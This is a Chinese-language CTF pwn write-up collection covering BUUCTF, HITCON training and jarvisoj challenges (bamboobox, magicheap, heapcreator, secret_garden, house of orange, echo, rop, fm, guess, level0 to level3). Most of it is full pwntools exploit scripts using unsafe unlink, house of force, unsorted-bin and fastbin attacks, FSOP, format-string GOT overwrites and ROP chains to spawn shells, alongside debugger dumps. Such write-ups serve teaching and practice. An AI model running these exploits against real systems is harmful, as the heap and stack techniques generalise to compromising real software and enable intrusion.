void __noreturn magic () { int fd; char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); fd = open("/home/bamboobox/flag" , 0 ); read(fd, &buf, 0x64 uLL); close(fd); printf ("%s" , &buf); exit (0 ); }
change_item
printf ("Please enter the length of item name:" , &buf); read(0 , &nptr, 8uLL ); v0 = atoi(&nptr); printf ("Please enter the new name of the item:" , &nptr); *(_BYTE *)(qword_6020C8[2 * v2] + (signed int )read(0 , (void *)qword_6020C8[2 * v2], v0)) = 0 ; }
堆溢出
**1.unsafe unlink: **对进行 unlink chunk 进行内存布然后借助 unlink 操作来达成修改指针的效果。个人认为通过堆溢出伪造一个chun伪造的chunk一般在fd和bk上不同
**2.house of force: **
进行堆分配如果所有空闲的块都无法满足需那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案可以使得 top chunk指向我们期望的任何位这就相当于一次任意地址写。 --CTFWiKi
需要以下条件:
能够以溢出等方式控制到 top chunk 的 size 域
能够自由地控制堆分配尺寸的大小
unlink
原版EXP方便理解所以直接拿来用了
from pwn import *host = "training.pwnable.tw" port = 11011 r = remote(host,port) def additem (length,name ): r.recvuntil(":" ) r.sendline("2" ) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) def modify (idx,length,name ): r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str (idx)) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) def remove (idx ): r.recvuntil(":" ) r.sendline("4" ) r.recvuntil(":" ) r.sendline(str (idx)) def show (): r.recvuntil(":" ) r.sendline("1" ) additem(0x40 ,"a" *8 ) additem(0x80 ,"b" *8 ) additem(0x40 ,"c" *8 ) ptr = 0x6020c8 fake_chunk = p64(0 ) fake_chunk += p64(0x41 ) fake_chunk += p64(ptr-0x18 ) fake_chunk += p64(ptr-0x10 ) fake_chunk += "c" *0x20 fake_chunk += p64(0x40 ) fake_chunk += p64(0x90 ) modify(0 ,0x80 ,fake_chunk) remove(1 ) payload = p64(0 )*2 payload += p64(0x40 ) + p64(0x602068 ) modify(0 ,0x80 ,payload) show() r.recvuntil("0 : " ) atoi = u64(r.recvuntil(":" )[:6 ].ljust(8 ,"\x00" )) libc = atoi - 0x36e80 print "libc:" ,hex (libc)system = libc + 0x45390 modify(0 ,0x8 ,p64(system)) r.recvuntil(":" ) r.sendline("sh" ) r.interactive()
这里可以看见我们伪造的堆结构:
ptr = 0x6020c8 fake_chunk = p64(0 ) fake_chunk += p64(0x41 ) fake_chunk += p64(ptr-0x18 ) fake_chunk += p64(ptr-0x10 ) fake_chunk += "c" *0x20 fake_chunk += p64(0x40 ) fake_chunk += p64(0x90 )
house of force
from pwn import *r = process("./bamboobox" ) elf = ELF("./bamboobox" ) def alloc (length,context ): r.recvuntil("Your choice:" ) r.sendline("2" ) r.recvuntil("Please enter the length of item name:" ) r.sendline(str (length)) r.recvuntil("Please enter the name of item:" ) r.send(context) def edit (idx,length,context ): r.recvuntil("Your choice:" ) r.sendline("3" ) r.recvuntil("Please enter the index of item:" ) r.sendline(str (idx)) r.recvuntil("Please enter the length of item name:" ) r.sendline(str (length)) r.recvuntil("Please enter the new name of the item:" ) r.send(context) def free (idx ): r.recvuntil("Your choice:" ) r.sendline("4" ) r.recvuntil("Please enter the index of item:" ) r.sendline(str (idx)) def show (): r.sendlineafter("Your choice:" , "1" ) def exit (): r.sendlineafter(":" , "5" ) alloc(0x30 ,'aaaa' ) payload='a' *0x30 +p64(0 )+p64(0xffffffffffffffff ) edit(0 ,0x40 ,payload) magic=elf.sym['magic' ] malloc_size = -(0x40 + 0x20 )-0x10 alloc(malloc_size,'aaaa' ) alloc(0x10 ,p64(magic)*2 ) exit() r.interactive()
hitcontraining_magicheap
Unsorted_Bin_Attack
控制 Unsorted Bin Chunk 的 bk 指针
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
def add (sz,text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text)
def edit (idx,text ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (len (text))) p.sendlineafter(":" ,str (text))
def free (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx))
back_door
int l33t () { return system("/bin/sh" ); }
edit_heap
printf ("Size of Heap : " , (char *)&v1 + 4 , v1); read(0 , (char *)&v1 + 4 , 8uLL ); v2 = atoi((const char *)&v1 + 4 ); printf ("Content of heap : " , (char *)&v1 + 4 , v1); read_input(heaparray[(signed int )v1], v2); return puts ("Done !" );
未控制边堆溢出
from pwn import *context.log_level = "debug" elf = ELF("./magicheap" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./magicheap" ) def add (sz,text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def edit (idx,text ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (len (text))) p.sendlineafter(":" ,str (text)) def free (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) l33t = 0x6020A0 if __name__ == '__main__' : add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) free(2 ) edit(1 ,'a' *0x60 +p64(0 )+p64(0x71 )+p64(l33t-0x13 )) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) edit(3 ,'a' *8 ) p.sendlineafter(":" ,str (0x1305 )) p.interactive()
为什么是p64(l33t-0x13)?
经过动态调试得该处是unsorted bin链表
为什么edit(3,‘a’*8)?
覆写magic的值为‘0x6161616161616161从而进入后门
hitcontraining_heapcreator
Off_By_One
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
日常增删查改
def add (size,content ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (size)) p.sendlineafter(":" ,content)
def edit (idx,content ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,content)
def show (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx))
def delete (idx ): p.sendlineaftr(":" ,"4" ) p.sendline(":" ,str (idx))
edit
printf ("Content of heap : " , &buf); read_input(*((_QWORD *)heaparray[v1] + 1 ), *(_QWORD *)heaparray[v1] + 1LL ); puts ("Done !" );
人为的多读取了一个字节(off by one使得我们可以控制下一个chunk的size,再得到`libc base 最后改free为system
from pwn import *context.log_level = "debug" elf = ELF("./heapcreator" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = remote("node3.buuoj.cn" ,29082 ) def add (size,content ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (size)) p.sendlineafter(":" ,content) def edit (idx,content ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,content) def show (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) def delete (idx ): p.sendlineaftr(":" ,"4" ) p.sendline(":" ,str (idx)) if __name__ == '__main__' : add(0x18 ,'aaaa' ) add(0x18 ,'aaaa' ) edit(0 ,'/bin/sh\x00' +'a' *0x10 +'\x41' ) delete(1 ) add(0x30 ,p64(0 )*4 +p64(0x30 )+p64(elf.got["free" ])) show(1 ) leak=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) base=leak-libc.sym["free" ] sys_addr = base+libc.sym["system" ] log.success("leak addr=>0x%x" ,leak) log.success("libc base=>0x%x" ,base) log.success("system addr=>0x%x" ,sys_addr) edit(1 ,p64(sys_addr)) delete(0 ) p.interactive()
hitcontraining_secret_garden
Double_Free
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
原来的菜单有很多无用的函有用的就两个
def create (lenght,name,color ): p.sendlineafter(":" ,'1' ) p.sendlineafter(":" ,str (lenght)) p.sendlineafter(":" ,name) p.sendlineafter(":" ,color)
def delete (idx ): p.sendlineafter(":" ,'3' ) p.sendlineafter(":" ,str (idx))
back_door
int magic () { return system("/bin/sh" ); }
原版EXP
from pwn import *host = "training.pwnable.tw" port = 11012 r = process("./secretgarden" ) def raiseflower (length,name,color ): r.recvuntil(":" ) r.sendline("1" ) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) r.recvuntil(":" ) r.sendline(color) def visit (): r.recvuntil(":" ) r.sendline("2" ) def remove (idx ): r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str (idx)) def clean (): r.recvuntil(":" ) r.sendline("4" ) magic = 0x400c7b fake_chunk = 0x601ffa raiseflower(0x50 ,"da" ,"red" ) raiseflower(0x50 ,"da" ,"red" ) remove(0 ) remove(1 ) remove(0 ) raiseflower(0x50 ,p64(fake_chunk),"blue" ) raiseflower(0x50 ,"da" ,"red" ) raiseflower(0x50 ,"da" ,"red" ) raiseflower(0x50 ,"a" *6 + p64(0 ) + p64(magic)*2 ,"red" ) r.interactive()
houseoforange_hitcon_2016
checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
保护全开
IDA
puts (" 1. Build the house " );puts (" 2. See the house " );puts (" 3. Upgrade the house " );
没有 free 相关函数
build
if ( unk_203070 > 3u ) { puts ("Too many house" ); exit (1 ); }
最多只能有3个橘子
v3 = malloc (0x10 uLL); printf ("Length of name :" );size = made_choice(); if ( size > 0x1000 ) size = 0x1000 ; v3[1 ] = malloc (size); if ( !v3[1 ] ){ puts ("Malloc error !!!" ); exit (1 ); }
最多可以申请 0x1000大小的chunk
printf ("Color of Orange:" ); size_4 = made_choice(); if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( size_4 == 0xDDAA ) v4[1 ] = 0xDDAA ; else v4[1 ] = size_4 + 30 ; *(_QWORD *)v3 = v4; house_idx = v3; ++unk_203070; return puts ("Finish" ); }
发现 color 可以变为(1<x<=7)|| x=0xDDAA,这里可能是突破口
upgrade
if ( unk_203074 > 2u ) return puts ("You can't upgrade more" );
只能使用两次
printf ("Length of name :" );v2 = made_choice(); if ( v2 > 0x1000 ) v2 = 0x1000 ; printf ("Name:" );safe_read((void *)house_name[1 ], v2); printf ("Price of Orange: " , v2);v1 = (_DWORD *)*house_name; *v1 = made_choice(); colorful(); printf ("Color of Orange: " );v3 = made_choice(); if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7 ) ){ puts ("No such color" ); exit (1 ); } if ( v3 == 0xDDAA ) *(_DWORD *)(*house_name + 4LL ) = 0xDDAA ; else *(_DWORD *)(*house_name + 4LL ) = v3 + 30 ; ++unk_203074; return puts ("Finish" );
同样可以申请 0x1000大小的chunk之类的操作,可以堆溢出
思路
1.修改top_chunk的size
2.触发sysmalloc中的_int_free
3.泄露libc和heap的地址
4.触发异常
gdb
0x1 修改top_chunk的size
申请一个house,结构为
add(0x30 ,'a' *8 ) gef➤ x/32gx 0x556593871000 0x556593871000 : 0x0000000000000000 0x0000000000000021 0x556593871010 : 0x0000556593871070 0x0000556593871030 0x556593871020 : 0x0000000000000000 0x0000000000000041 0x556593871030 : 0x0000000a61616161 0x0000000000000000 0x556593871040 : 0x0000000000000000 0x0000000000000000 0x556593871050 : 0x0000000000000000 0x0000000000000000 0x556593871060 : 0x0000000000000000 0x0000000000000021 0x556593871070 : 0x000000210000000a 0x0000000000000000 0x556593871080 : 0x0000000000000000 0x0000000000020f81 。。。。。。。。 。。。。。。。。。。。 。。。。。。。。。。
覆盖掉 top chunk size域的payload为
payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)
这样就将 top_chunk->szie = 0x1fc0
0x56222cc84000: 0x0000000000000000 0x0000000000000021 0x56222cc84010: 0x000056222cc84070 0x000056222cc84030 0x56222cc84020: 0x0000000000000000 0x0000000000000041 0x56222cc84030: 0x6161616161616161 0x6161616161616161 .............. .................. .................. 0x56222cc84060: 0x0000000000000000 0x0000000000000021 0x56222cc84070: 0x0000002100000006 0x6161616161616161 0x56222cc84080: 0x0000000000000000 0x0000000000000f81 0x56222cc84090: 0x0000000000000000 0x0000000000000000
修改成功
0x2 触发sysmalloc中的_int_free
成功修改 top chunk ,下一步只要我们申请一块 topchunk 大小不满足 的chunk即可,由之前的分析可知我们最大可以申请 0x1000 的空间,那么
add(0x1000,'b'*8)
Chunk(addr=0x564081bf1010, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf1030, size=0x40, flags=PREV_INUSE) Chunk(addr=0x564081bf1070, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf1090, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf10b0, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE) Chunk(addr=0x564081bf1ff0, size=0x10, flags=) Chunk(addr=0x564081bf2000, size=0x10, flags=PREV_INUSE)
top_chunk 消失了
[+] unsorted_bins[0]: fw=0x564081bf10c0, bk=0x564081bf10c0 → Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin.
成功加入 unsroted bins ,相当于 free 掉了top chunk
0x3 泄露libc和heap的地址
下从 unsorted bins 中取出一点下来用
因为原来有输出的功能,那么我们使用它输出刚才的那个chunk
add(0x400 ,'c' *8 ) see() leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success("leak add => 0x%x" ,leak) gdb.attach(p) [+] leak add => 0x7f5cf839a10a 0x5584c45e30e0 PREV_INUSE { prev_size = 0 , size = 1041 , fd = 0x6363636363636363 , bk = 0x7f5cf839a10a <main_arena+1514 >, fd_nextsize = 0x5584c45e30e0 , bk_nextsize = 0x5584c45e30e0 } vmmap 0x5584c45e3000 0x5584c4626000 rw-p 43000 0 [heap] 0x7f5cf7fd5000 0x7f5cf8195000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7f5cf8195000 0x7f5cf8395000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7f5cf8395000 0x7f5cf8399000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7f5cf8399000 0x7f5cf839b000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so
如果知道是知道libc2.23的话
>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000-1514) '0x3c4b20'
不知道的话直接加减
>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000) '0x3c510a'
同理可知 heap_base
开始泄露,但是要泄露什么?这里泄露的东西就决定了我们攻击的方式
这道题保护全开,之前的方法好像不太行,想起之前的文章FILE结构
那我们可以伪造出一个file,通过修改 vtable 指针来调用 system 那么就需要
libc_base = leak-0x3c510a system_addr = libc_base+libc.sym["system" ] binsh = libc_base+libc.search("/bin/sh\x00" ).next () IO_list_all = libc_base+libc.sym["_IO_list_all" ] IO_str_jumps = libc.symbols["_IO_file_jumps" ]+0xc0 +libc_base
0x4 开始构造 fake file
ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,
如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数
调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system(‘/bin/sh’)
2016 ctf-HITCON——houseoforange
FILE结构
struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
偏移0x20处为IO_write_base,偏移0x28处为IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable
绕过检测:
1._mode<=0
2._IO_write_base<IO_write_ptr
最终的结构体
payload = "a" *0x400 payload += p64(0 )+p64(0x21 )+'a' *0x10 fake_file = p64(0 )+p64(0x60 ) fake_file += p64(0 )+p64(IO_list_all-0x10 ) fake_file += p64(0 )+p64(1 ) fake_file += p64(0 )+p64(binsh) fake_file = fake_file.ljust(0xc0 ,'\x00' ) payload += fake_file payload += p64(0 )*3 payload += p64(IO_str_jumps-0x8 ) payload += p64(0 ) payload += p64(system_addr)
unsortedbin all [corrupted] FD: 0x55b6afcad510 ◂— 0x0 BK: 0x55b6afcad510 —▸ 0x7f0850d77510 ◂— 0x0 pwndbg> x/12gx 0x7f0850d77510 0x7f0850d77510: 0x0000000000000000 0x0000000000000000 0x7f0850d77520 <_IO_list_all>: 0x00007f0850d77540 0x0000000000000000 0x7f0850d77530: 0x0000000000000000 0x0000000000000000
已经迁移IO_list_all
EXP
from pwn import *elf = ELF("./houseoforange_hitcon_2016" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so" ) p = 0 def connect (ip,port,mode ): global p if mode == 1 : p = process("./houseoforange_hitcon_2016" ) else : p = remote(ip,port) def add (sz,name ): p.sendlineafter(": " ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,name) p.sendlineafter(":" ,"10" ) p.sendlineafter(":" ,"3" ) def see (): p.sendlineafter(": " ,"2" ) def edit (sz,text ): p.sendlineafter(": " ,"3" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) p.sendlineafter(":" ,"3" ) def pwn (): add(0x30 ,'a' *8 ) payload = 'a' *0x30 +p64(0 )+p64(0x21 )+'a' *0x10 +p64(0 )+p64(0xf81 ) edit(len (payload),payload) add(0x1000 ,'b' ) add(0x400 ,'c' *8 ) see() leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success("leak add => 0x%x" ,leak) libc_base = leak-0x3c510a system_addr = libc_base+libc.sym["system" ] binsh = libc_base+libc.search("/bin/sh\x00" ).next () IO_list_all = libc_base+libc.sym["_IO_list_all" ] IO_str_jumps = libc.symbols["_IO_file_jumps" ]+0xc0 +libc_base log.success("libc base => 0x%x" ,libc_base) log.success("system addr => 0x%x" ,system_addr) log.success("IO list all => 0x%x" ,IO_list_all) log.success("IO str jump => 0x%x" ,IO_str_jumps) payload = "a" *0x400 payload += p64(0 )+p64(0x21 )+'a' *0x10 fake_file = p64(0 )+p64(0x60 ) fake_file += p64(0 )+p64(IO_list_all-0x10 ) fake_file += p64(0 )+p64(1 ) fake_file += p64(0 )+p64(binsh) fake_file = fake_file.ljust(0xc0 ,'\x00' ) payload += fake_file payload += p64(0 )*3 payload += p64(IO_str_jumps-0x8 ) payload += p64(0 ) payload += p64(system_addr) edit(0x800 ,payload) p.recv() p.sendline("1" ) p.sendline("1" ) p.interactive() if __name__ == '__main__' : connect("node3.buuoj.cn" ,29891 ,1 ) pwn()
inndy_echo
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s; unsigned int v4; v4 = __readgsdword(0x14 u); setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); do { fgets(&s, 0x100 , stdin ); printf (&s); } while ( strcmp (&s, "exit\n" ) ); system("echo Goodbye" ); exit (0 ); }
字符串格式化漏洞,没有栈溢出,利用任意地址写把printf@got改为system@plt
3.EXP
from pwn import *context.log_level = "debug" elf = ELF("./echo" ) p = remote("node3.buuoj.cn" ,"29921" ) printf_got_addr = elf.got["printf" ] system_plt_addr = elf.plt["system" ] payload = fmtstr_payload(7 ,{printf_got_addr: system_plt_addr}) p.sendline(payload) p.sendline("$0" ) p.interactive()
inndy_rop
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
overflow
int overflow () { char v1; return gets(&v1); }
函数复杂,有溢出,直接自动生成ropchain
3.EXP
from pwn import *from struct import packcontext.log_level = "debug" q = remote("node3.buuoj.cn" ,"28171" ) context.log_level = 'debug' def payload (): p = 'a' *0xc + 'bbbb' p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) return p shell = payload() q.sendline(shell) q.interactive()
jarvisoj_fm
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char buf; unsigned int v5; v5 = __readgsdword(0x14 u); be_nice_to_people(); memset (&buf, 0 , 0x50 u); read(0 , &buf, 0x50 u); printf (&buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
利用字符串格式化漏洞改x为4
3.EXP
from pwn import *context.log_level = "debug" p = process("./fm" ) elf = ELF("./fm" ) x_addr = 0x0804A02C payload = p32(x_addr)+"%11$n" p.sendline(payload) p.interactive()
jarvisoj_guess
Socket原理讲解
下标越界导致盲注
1.checksec
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
is_flag_correct
qmemcpy(bin_by_hex, &unk_401100, sizeof (bin_by_hex)); qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}" , sizeof (flag)); bzero(given_flag, 0x32 uLL); for ( i = 0 ; i <= 0x31 ; ++i ) { value1 = bin_by_hex[flag_hex[2 * i]]; value2 = bin_by_hex[flag_hex[2 * i + 1 ]]; if ( value1 == -1 || value2 == -1 ) { puts ("bad input – one of the characters you supplied was not a valid hex character!" ); exit (0 ); } given_flag[i] = value2 | 16 * value1; } diff = 0 ; for ( i_0 = 0 ; i_0 <= 49 ; ++i_0 ) diff |= flag[i_0] ^ given_flag[i_0]; return diff == 0 ;
其中 flag 是之前 qmemcpy过后的,given_flag 是通过 value_1 和 value_2 的值计算来的,而这两个值是由我们输入的flag决定,如果控制 flag_hex[2 * i] 为负数,就可以flag结果修改为正确的flag结果,这样就可以通过后面的检测了
is_flag_correct -> stack
-00000000000001A0 -00000000000001A0 db ? ; undefined -000000000000019F db ? ; undefined -000000000000019E db ? ; undefined -000000000000019D db ? ; undefined -000000000000019C db ? ; undefined -000000000000019B db ? ; undefined -000000000000019A db ? ; undefined -0000000000000199 db ? ; undefined -0000000000000198 flag_hex dq ? ; offset -0000000000000190 given_flag db 50 dup(?) -000000000000015E db ? ; undefined -000000000000015D db ? ; undefined -000000000000015C db ? ; undefined -000000000000015B db ? ; undefined -000000000000015A db ? ; undefined -0000000000000159 db ? ; undefined -0000000000000158 db ? ; undefined -0000000000000157 db ? ; undefined -0000000000000156 db ? ; undefined -0000000000000155 db ? ; undefined -0000000000000154 db ? ; undefined -0000000000000153 db ? ; undefined -0000000000000152 db ? ; undefined -0000000000000151 db ? ; undefined -0000000000000150 flag db 50 dup(?) -000000000000011E db ? ; undefined -000000000000011D db ? ; undefined -000000000000011C db ? ; undefined -000000000000011B db ? ; undefined -000000000000011A db ? ; undefined -0000000000000119 db ? ; undefined -0000000000000118 db ? ; undefined -0000000000000117 db ? ; undefined -0000000000000116 db ? ; undefined -0000000000000115 db ? ; undefined -0000000000000114 db ? ; undefined -0000000000000113 db ? ; undefined -0000000000000112 db ? ; undefined -0000000000000111 db ? ; undefined -0000000000000110 bin_by_hex db 256 dup(?) -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E value2 db ? -000000000000000D value1 db ? -000000000000000C i_0 dd ? -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 db ? ; undefined -0000000000000005 diff db ? -0000000000000004 i dd ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
char的范围一般是0~255,这里有整数溢出,190 + ∣ − 66 ∣ = 256 190+|-66|=256 1 9 0 + ∣ − 6 6 ∣ = 2 5 6 ,这种都行
payload = '' for i in range (50 ): payload += '0' payload += p8(0x100 -0x40 + i)
这样的payload就可以通过检测了,然后逐字节爆破
sh = remote('node3.buuoj.cn' ,26493 ) flag = '' for i in range (1 ,51 ): print "guess the index {}'s char" .format (i) for c in range (32 ,128 ): pay = payload[0 :2 *i-2 ] + hex (c)[2 :] + payload[2 *i:] sh.sendlineafter('guess> ' ,pay) ans = sh.recvuntil('\n' ) if 'Yaaaay!' in ans: flag += chr (c) break print 'flag=' ,flag sh.close()
3.EXP
from pwn import *payload = '' for i in range (50 ): payload += '0' payload += p8(0x100 -0x40 + i) sh = remote('node3.buuoj.cn' ,26493 ) flag = '' for i in range (1 ,51 ): print "guess the index {}'s char" .format (i) for c in range (32 ,128 ): pay = payload[0 :2 *i-2 ] + hex (c)[2 :] + payload[2 *i:] sh.sendlineafter('guess> ' ,pay) ans = sh.recvuntil('\n' ) if 'Yaaaay!' in ans: flag += chr (c) break print 'flag>' ,flag sh.close()
jarvisoj_typo
1.checksec
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
发现是arm架构的pwn
jarvisoj_level0
环境:Ubuntu16
1.checksec
[*] '/home/o Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { write(1 , "Hello, World\n" , 0xD uLL); return vulnerable_function(1LL , "Hello, World\n" ); }
vulnerable_function
ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x200 uLL); }
简单溢出,且含有system binsh
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28704 ) binsh = 0x040059A payload = 'a' *0x88 + p64(binsh) p.sendlineafter("\n" ,payload) p.interactive()
jarvisoj_level2
环境:Ubuntu:16
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'" ); return 0 ; }
vulnerable_function
ssize_t vulnerable_function () { char buf; system("echo Input:" ); return read(0 , &buf, 0x100 u); }
有system和binsh
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,26265 ) sys_addr = 0x0804845C binsh = 0x0804A024 payload = 'a' *(0x88 +4 ) payload += p32(sys_addr) + p32(binsh) p.sendlineafter(":" ,payload) p.interactive()
system只能选取已经执行过的system
jarvisoj_level3
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xE u); return 0 ; }
vulnerable_function
ssize_t vulnerable_function () { char buf; write(1 , "Input:\n" , 7u ); return read(0 , &buf, 0x100 u); }
栈溢出,需要找到libc
3.EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26281 ) elf = ELF("./level3" ) libc_start = elf.sym["__libc_start_main" ] libc_start_got = elf.got["__libc_start_main" ] write_plt = elf.plt["write" ] write_got = elf.got["write" ] start_addr = 0x08048350 p1 = 'a' *0x88 +'aaaa' p1 += p32(write_plt)+p32(start_addr) p1 += p32(1 )+p32(write_got)+p32(4 ) p.sendlineafter(":\n" ,p1) write_real = u32(p.recv(4 )) libc = LibcSearcher("write" ,write_real) libc_base = write_real - libc.dump("write" ) print "libc_base=>" +hex (libc_base)sys_addr = libc_base+libc.dump("system" ) binsh = libc_base+libc.dump("str_bin_sh" ) p1 = 'a' *(0x88 +4 ) p1 += p32(sys_addr)+p32(0 )+p32(binsh) p.sendlineafter(":\n" ,p1) p.interactive()
jarvisoj_level3_x64
1.checksec
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); return write(1 , "Hello, World!\n" , 0xE uLL); }
